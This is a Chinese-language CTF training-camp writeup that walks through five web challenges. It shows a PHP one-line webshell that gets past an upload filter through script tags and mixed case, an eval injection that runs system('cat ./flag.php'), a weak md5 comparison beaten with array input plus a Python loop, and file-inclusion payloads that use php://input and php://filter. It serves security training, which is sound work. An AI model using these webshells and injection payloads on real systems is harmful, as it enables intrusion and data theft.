某公司CTF训练营web部分writeup

2018-03-21 9,400

1. web upload

image.png

image.png

题目说可以上传任意文件,那就试试直接上传php,内容:

<?php
phpinfo();
?>

image.png

访问一下文件,发现<?php php被过滤了,这里想到绕过<?php的检测方法:

<script language="php">phpinfo();</script>

同时还需要绕过php关键字检测,尝试利用大小写,构造一句话木马:

<script language="pHp">@eval($_POST[cc]);</script>

菜刀连接:

image.png

flag在根目录下。


2.爆破-1

image.png

题目叫爆破,但跟爆破关系不大,打开看看:

image.png

看到var_dump($$a),而$a是由我们控制的,所以考虑让$a=GLOBALS,这样就可以打印出所有变量:

?hello=GLOBALS

image.png

flag在变量d3f0f8中。


3. 爆破-2

image.png

虽然还是叫爆破,但和爆破还是没关系:

image.png

和爆破-1不一样,var_dump($a),虽然$a我们可以控制,但只有一个$,不能用$GLOBALS的方法去做,而且题目中一看,flagflag.php中,我们应该要去读取flag.php中的内容。代码很短,关键在eval( "var_dump($a);");

eval()函数是危险函数,而变量a没有任何过滤,因此想到拼接命令:

构造?hello=1);phpinfo(

image.png

成功执行phpinfo();证明拼接是可以的。构造:

?hello=1);print system(‘cat%20./flag.php’

image.png

得到flag


4.爆破-3

image.png

题目提示这会真的是爆破,打开看看:

image.png

大概的意思是:

Session中的num初始值为0time为当前时间,whoami初始值为ea120秒之后会话结束。然后str_rands随机生成2个字母,whoami需要等于我们传递的value值的前两位,并且valuemd5值的第5为开始,长度为4的字符串==0,这样num++whoami=str_rands,循环10次后,输出flag

由于==是弱类型判断,所以可以用数组绕过,即md5(数组)==0

因此首先构造?value[]=ea

此时str_rands=mn,继续构造?value[]=mn,由于时间120秒,完全可以手工做10次,即可得到flagPython脚本:

import requests
url='http://6c3591ceb47d4dd3927cbb65750f3740eb795f3de3e24c64.game.ichunqiu.com/?value[]='
s = requests.Session()
payload='ea'
r=s.get(url+payload)
i=0
for i in range(10):
    payload=r.text[0:2]
    r=s.get(url+payload)
    print r.text

image.png


5.  Include

image.png

看一下题目,完全没防护的文件包含:

image.png

直接构造:

path=php://input

post内容:<?php echo system('ls');?>

看一下有哪些文件:

image.png

猜测flagdle345aae.php

再利用?path=php://filter/read=convert.base64-encode/resource=dle345aae.php

读取文件内容,得到flag

image.png

Base64解码

image.png

本文作者:tinyfisher@foxmail.com

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/69602.html

Tags:
评论  (0)
快来写下你的想法吧!

tinyfisher@foxmail.com

文章数:7 积分: 60

邮子

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号